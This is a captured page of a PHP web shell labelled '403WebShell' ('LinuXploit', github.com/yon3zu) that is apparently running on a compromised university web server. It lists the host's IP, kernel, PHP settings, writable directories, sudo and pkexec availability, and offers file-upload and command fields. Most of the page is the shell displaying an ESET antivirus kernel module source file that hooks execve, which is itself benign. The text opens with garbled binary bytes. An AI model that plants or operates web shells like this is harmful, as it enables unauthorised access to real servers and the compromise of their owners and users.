h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/opt/eset/efs/eventd/eset_rtp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/opt/eset/efs/eventd/eset_rtp/ertp_execve_handlers.c
/*
 * eset_rtp (ESET Real-time file system protection module)
 * Copyright (C) 1992-2021 ESET, spol. s r.o.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * In case of any questions, you can contact us at ESET, spol. s r.o., Einsteinova 24, 851 01 Bratislava, Slovakia.
 */

#include <linux/version.h>

#ifndef RHEL_RELEASE_VERSION
#	define RHEL_RELEASE_VERSION(x,y) 0
#endif

#if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_DYNAMIC_FTRACE) \
	&& (LINUX_VERSION_CODE >= KERNEL_VERSION(3,17,0)) \
	|| (defined(RHEL_RELEASE_CODE) && (RHEL_RELEASE_CODE >= RHEL_RELEASE_VERSION(7,3))) /* from RHEL 7.3, there is IPMODIFY support */
#	define EXECVE_TRAMPOLINE_ENABLED 1
#endif

#ifdef EXECVE_TRAMPOLINE_ENABLED

#include "ertp_handlers.h"

/********************************** general ftrace helpers *******************/

enum ertp_syscall_type {
	SYSCALL_64,
	COMPAT_32,
};

struct ertp_ftrace_hook {
	const char *name; // name of the function we want to hook to
	enum ertp_syscall_type syscall_type;
	void* handler;  // pointer to the function to execute instead
	void* original; // pointer to the location where to store a pointer to the original function (moved by MCOUNT_INSN_SIZE to avoid recursion, see ertp_resolve_*_address)

	unsigned long address; // address of the function we want to hook to
	struct ftrace_ops ops;
};

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
static int ertp_resolve_compat_address(struct ertp_ftrace_hook *hook)
{
	char symbol_name[128];
	symbol_name[0] = '\0';
	strcat(symbol_name, "__ia32_compat_sys_");
	strcat(symbol_name, hook->name);

	hook->address = ertp_lookup_address(symbol_name);
	if (!hook->address) {
		ertp_pr_error("unresolved symbol: %s\n", symbol_name);
		return -ENOENT;
	}

	*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; // skip the ftrace offset to call original function without recursion
	return 0;
}
#else // (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
static int ertp_resolve_compat_address(struct ertp_ftrace_hook *hook)
{
	// two possible symbols
	static char symbol_name1[128], symbol_name2[128];
	symbol_name1[0] = '\0';
	strcat(symbol_name1, "compat_sys_");
	strcat(symbol_name1, hook->name);

	symbol_name2[0] = '\0';
	strcat(symbol_name2, "compat_SyS_");
	strcat(symbol_name2, hook->name);

	if (!(hook->address = ertp_lookup_address(symbol_name1)) && !(hook->address = ertp_lookup_address(symbol_name2))) {
		ertp_pr_error("no compat symbol found: %s/%s\n", symbol_name1, symbol_name2);
		return -ENOENT;
	}

	*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; // skip the ftrace offset to call original function without recursion
	return 0;
}
#endif // (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))

static int ertp_resolve_hook_address(struct ertp_ftrace_hook *hook)
{
	if (hook->syscall_type == COMPAT_32) {
		return ertp_resolve_compat_address(hook);
	}

	hook->address = ertp_lookup_address(hook->name);
	if (!hook->address) {
		ertp_pr_error("unresolved symbol: %s\n", hook->name);
		return -ENOENT;
	}

	*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; // skip the ftrace offset to call original function without recursion
	return 0;
}

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0))
#	define ertp_ftrace_regs_t struct ftrace_regs
#	define ERTP_GET_PT_REGS(fregs) ftrace_get_regs(fregs)
#else
#	define ertp_ftrace_regs_t struct pt_regs
#	define ERTP_GET_PT_REGS(fregs) (fregs)
#endif

static void notrace ertp_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops,
	ertp_ftrace_regs_t *fregs)
{
	struct pt_regs *regs = ERTP_GET_PT_REGS(fregs);
	struct ertp_ftrace_hook *hook = container_of(ops, struct ertp_ftrace_hook, ops);

	ertp_handler_start(); // ertp_handler_end called in handler
	regs->ip = (unsigned long)hook->handler;
}

static int ertp_install_ftrace_hook(struct ertp_ftrace_hook *hook)
{
	int err;

	err = ertp_resolve_hook_address(hook);
	if (err)
		return err;

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
	if (err) {
		ertp_pr_error("ftrace_set_filter_ip() for %s failed: %d\n", hook->name, err);
		return err;
	}

	err = register_ftrace_function(&hook->ops);
	if (err) {
		ertp_pr_error("register_ftrace_function() for %s failed: %d\n", hook->name, err);
		ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
		return err;
	}

	printk(KERN_DEBUG ESET_RTP ": registered ftrace hook for %s%s\n", hook->syscall_type == COMPAT_32 ? "compat " : "", hook->name);

	return 0;
}

static void ertp_remove_ftrace_hook(struct ertp_ftrace_hook *hook)
{
	int err;

	err = unregister_ftrace_function(&hook->ops);
	if (err) {
		ertp_pr_error("unregister_ftrace_function() for %s failed: %d\n", hook->name, err);
	}

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
	if (err) {
		ertp_pr_error("ftrace_set_filter_ip() for %s failed: %d\n", hook->name, err);
	}
}

/**
 * ertp_install_hooks() - register and enable multiple hooks
 * @param hooks array of hooks to install
 * @param count number of hooks to install
 *
 * @returns zero on success, negative error code otherwise.
 */
static int ertp_install_hooks(struct ertp_ftrace_hook *hooks, size_t count)
{
	int err;
	size_t i;

	for (i = 0; i < count; i++) {
		err = ertp_install_ftrace_hook(&hooks[i]);
		if (err)
			goto error;
	}

	return 0;

error:
	while (i != 0) {
		ertp_remove_ftrace_hook(&hooks[--i]);
	}

	return err;
}

/**
 * ertp_remove_hooks() - unregister and disable multiple hooks
 * @param hooks array of hooks to remove
 * @param count number of hooks to remove
 */
static void ertp_remove_hooks(struct ertp_ftrace_hook *hooks, size_t count)
{
	size_t i;
	for (i = 0; i < count; i++) {
		ertp_remove_ftrace_hook(&hooks[i]);
	}
}

#define ERTP_CALL_ORIG_SYSCALL(syscall, ...) \
	(ERTP_IN_IA32_SYSCALL ? _ia32_orig_sys_##syscall(__VA_ARGS__) : _orig_sys_##syscall(__VA_ARGS__))

#define ERTP_SYSCALL32_ARG0(T, regs) ((T)((regs)->bx))
#define ERTP_SYSCALL32_ARG1(T, regs) ((T)((regs)->cx))
#define ERTP_SYSCALL32_ARG2(T, regs) ((T)((regs)->dx))
#define ERTP_SYSCALL32_ARG3(T, regs) ((T)((regs)->si))
#define ERTP_SYSCALL32_ARG4(T, regs) ((T)((regs)->di))
#define ERTP_SYSCALL32_ARG5(T, regs) ((T)((regs)->bp))

#define ERTP_SYSCALL64_ARG0(T, regs) ((T)((regs)->di))
#define ERTP_SYSCALL64_ARG1(T, regs) ((T)((regs)->si))
#define ERTP_SYSCALL64_ARG2(T, regs) ((T)((regs)->dx))
#define ERTP_SYSCALL64_ARG3(T, regs) ((T)((regs)->r10))
#define ERTP_SYSCALL64_ARG4(T, regs) ((T)((regs)->r8))
#define ERTP_SYSCALL64_ARG5(T, regs) ((T)((regs)->r9))

/******************** specific syscall handlers ******************************/

static long check_execve(int dirfd, const char __user *filename, int flags)
{
	struct file *file;
	struct path path;
	int err;
#	ifdef ERTP_DEBUG
	char *kname = ertp_getname(filename);
	char *name = IS_ERR_OR_NULL(kname) ? ERPT_UNKONWN : kname;
#	endif /* ERTP_DEBUG */

	if (!filename) {
		ertp_pr_debug("no filename given, skipping event...");
		return 0;
	}

	err = user_path_at(dirfd, filename, (flags & AT_EMPTY_PATH) ? LOOKUP_EMPTY : LOOKUP_FOLLOW, &path);
	if (err < 0) {
		ertp_pr_debug("user_path_at(\"%s\") returned error %d, exec event skipped", name, err);
		goto allow_event;
	}

	ertp_pr_debug("handling execve() of %s", name);
	file = ertp_dentry_open(&path, O_RDONLY);
	path_put(&path);

	if (IS_ERR(file)) {
		ertp_pr_debug("dentry_open(\"%s\") returned error %ld, exec event skipped", name, PTR_ERR(file));
		goto allow_event;
	}

	if (ertp_check_exec(file) != ERTP_CONTINUE) {
		ertp_pr_debug("execve(%s) denied by scanner", name);
		fput(file);
		return -EPERM;
	}

	fput(file);

	/* protect a new process from malware created by a parent process */
	if (ertp_check_all_open_files(ertp_check_open) != ERTP_CONTINUE)
		return -EPERM;

allow_event:
#	ifdef ERTP_DEBUG
	ertp_putname(kname);
#	endif
	return 0;
}

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,19,0))
#	define EXECVEAT_DEFINED 1
#endif

#ifdef ERTP_KERNEL_USES_SYSCALL_WRAPPER
static asmlinkage long (*_orig_sys_execve)(struct pt_regs *regs);
static asmlinkage long (*_ia32_orig_sys_execve)(struct pt_regs *regs);

static asmlinkage long notrace ertp_execve_handler(struct pt_regs *regs)
{
	long ret;
	const char __user* filename = ((ERTP_IN_IA32_SYSCALL) ?
		ERTP_SYSCALL32_ARG0(const char __user *, regs) :
		ERTP_SYSCALL64_ARG0(const char __user *, regs));

	if (check_execve(AT_FDCWD, filename, 0) != 0) {
		ret = -EPERM;
		goto exit;
	}

	ret = ERTP_CALL_ORIG_SYSCALL(execve, regs);

exit:
	ertp_handler_end(); // ertp_handler_start called in ertp_ftrace_thunk
	return ret;
}

#ifdef EXECVEAT_DEFINED
static asmlinkage long (*_orig_sys_execveat)(struct pt_regs *regs);
static asmlinkage long (*_ia32_orig_sys_execveat)(struct pt_regs *regs);

/* int execveat(int dirfd, const char *pathname,
	const char *const argv[], const char *const envp[], int flags); */
static asmlinkage long notrace ertp_execveat_handler(struct pt_regs *regs)
{
	long               ret;
	const char __user* filename;
	int                dirfd, flags;

	if (ERTP_IN_IA32_SYSCALL) {
		dirfd = ERTP_SYSCALL32_ARG0(int, regs);
		filename = ERTP_SYSCALL32_ARG1(const char __user *, regs);
		flags = ERTP_SYSCALL32_ARG4(int, regs);
	} else {
		dirfd = ERTP_SYSCALL64_ARG0(int, regs);
		filename = ERTP_SYSCALL64_ARG1(const char __user *, regs);
		flags = ERTP_SYSCALL64_ARG4(int, regs);
	}

	if (check_execve(dirfd, filename, flags) != 0) {
		ret = -EPERM;
		goto exit;
	}

	ret = ERTP_CALL_ORIG_SYSCALL(execveat, regs);

exit:
	ertp_handler_end(); // ertp_handler_start called in ertp_ftrace_thunk
	return ret;
}

#endif /* EXECVEAT_DEFINED */
#else /* ERTP_KERNEL_USES_SYSCALL_WRAPPER */

/* universal execve signature to cover both normal and compat calls */
typedef asmlinkage long (*sys_execve_t)(const char __user * /*filename*/,
		long /*argv*/, long /*envp*/);
static sys_execve_t _orig_sys_execve;
static sys_execve_t _ia32_orig_sys_execve;

static asmlinkage long notrace ertp_execve_handler(const char __user * filename,
		long argv, long envp)
{
	long ret;
	if (check_execve(AT_FDCWD, filename, 0) != 0) {
		ret = -EPERM;
		goto exit;
	}

	ret = ERTP_CALL_ORIG_SYSCALL(execve, filename, argv, envp);

exit:
	ertp_handler_end(); // ertp_handler_start called in ertp_ftrace_thunk
	return ret;
}

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,19,0))
#	define EXECVEAT_DEFINED 1
#endif

#ifdef EXECVEAT_DEFINED
/* universal execveat signature to cover both normal and compat calls */
typedef asmlinkage long (*sys_execveat_t)(int /*dirfd*/, const char __user * /*filename*/,
		long /*argv*/, long /*envp*/, int /*flags*/);
static sys_execveat_t _orig_sys_execveat;
static sys_execveat_t _ia32_orig_sys_execveat;

static asmlinkage long notrace ertp_execveat_handler(int dirfd, const char __user* filename,
	long argv, long envp, int flags)
{
	long ret;
	if (check_execve(dirfd, filename, flags) != 0) {
		ret = -EPERM;
		goto exit;
	}

	ret = ERTP_CALL_ORIG_SYSCALL(execveat, dirfd, filename, argv, envp, flags);

exit:
	ertp_handler_end(); // ertp_handler_start called in ertp_ftrace_thunk
	return ret;
}

#endif /* EXECVEAT_DEFINED */
#endif /* ERTP_KERNEL_USES_SYSCALL_WRAPPER */

/************************* static array of initialized hooks *****************/

#if (LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0))
#	define ERTP_FTRACE_FLAGS (FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_IPMODIFY | FTRACE_OPS_FL_RECURSION_SAFE)
#else
#	define ERTP_FTRACE_FLAGS (FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_IPMODIFY)
#endif

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#	define SYSCALL_PREFIX "__x64_sys_"
#else
#	define SYSCALL_PREFIX "SyS_"
#endif

#define ERTP_HOOK(syscall_name, type, handler_func, original_func_ptr) \
	{ \
		.name = (syscall_name), \
		.syscall_type = (type), \
		.handler = (handler_func), \
		.original = (original_func_ptr), \
		.ops.func = ertp_ftrace_thunk, \
		.ops.flags = ERTP_FTRACE_FLAGS, \
	}

static struct ertp_ftrace_hook ertp_ftrace_hooks[] = {
	ERTP_HOOK(SYSCALL_PREFIX "execve", SYSCALL_64, ertp_execve_handler, &_orig_sys_execve),
#ifdef EXECVEAT_DEFINED
	ERTP_HOOK(SYSCALL_PREFIX "execveat", SYSCALL_64, ertp_execveat_handler, &_orig_sys_execveat),
#endif
#ifdef CONFIG_COMPAT
	// compat syscalls can have ambiguous prefixes, let's resolve it in run-time in ertp_resolve_compat_address()
	ERTP_HOOK("execve", COMPAT_32, ertp_execve_handler, &_ia32_orig_sys_execve),
#	ifdef EXECVEAT_DEFINED
	ERTP_HOOK("execveat", COMPAT_32, ertp_execveat_handler, &_ia32_orig_sys_execveat),
#	endif
#endif
};

#endif /* EXECVE_TRAMPOLINE_ENABLED */

/******************* init/deinit functions ***********************************/

int ertp_init_execve_handlers(void)
{
	int ret = 0;

#ifdef EXECVE_TRAMPOLINE_ENABLED
	ret = ertp_install_hooks(ertp_ftrace_hooks, ARRAY_SIZE(ertp_ftrace_hooks));
#endif /* EXECVE_TRAMPOLINE_ENABLED */

	return ret;
}

void ertp_deinit_execve_handlers(void)
{
#ifdef EXECVE_TRAMPOLINE_ENABLED
	ertp_remove_hooks(ertp_ftrace_hooks, ARRAY_SIZE(ertp_ftrace_hooks));
#endif /* EXECVE_TRAMPOLINE_ENABLED */
}

Youez - 2016 - github.com/yon3zu
LinuXploit